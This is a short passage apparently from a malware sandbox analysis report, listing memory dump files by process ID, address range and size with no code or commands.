memory/1052-64-0x000007FEFBD41000-0x000007FEFBD43000-memory.dmpFilesize
8KB
-
memory/1172-60-0x0000000000000000-mapping.dmp
-
memory/1532-56-0x0000000000000000-mapping.dmp
-
memory/1728-54-0x0000000076171000-0x0000000076173000-memory.dmpFilesize
8KB
-
memory/1728-57-0x00000000006AB000-0x00000000006C2000-memory.dmpFilesize
92KB
-
memory/1728-59-0x0000000000400000-0x00000000004E6000-memory.dmpFilesize
920KB
-
memory/1728-58-0x0000000000250000-0x0000000000276000-memory.dmpFilesize
152KB
-
memory/1760-55-0x0000000000000000-mapping.dmp
-
memory/2044-61-0x0000000000000000-mapping.dmp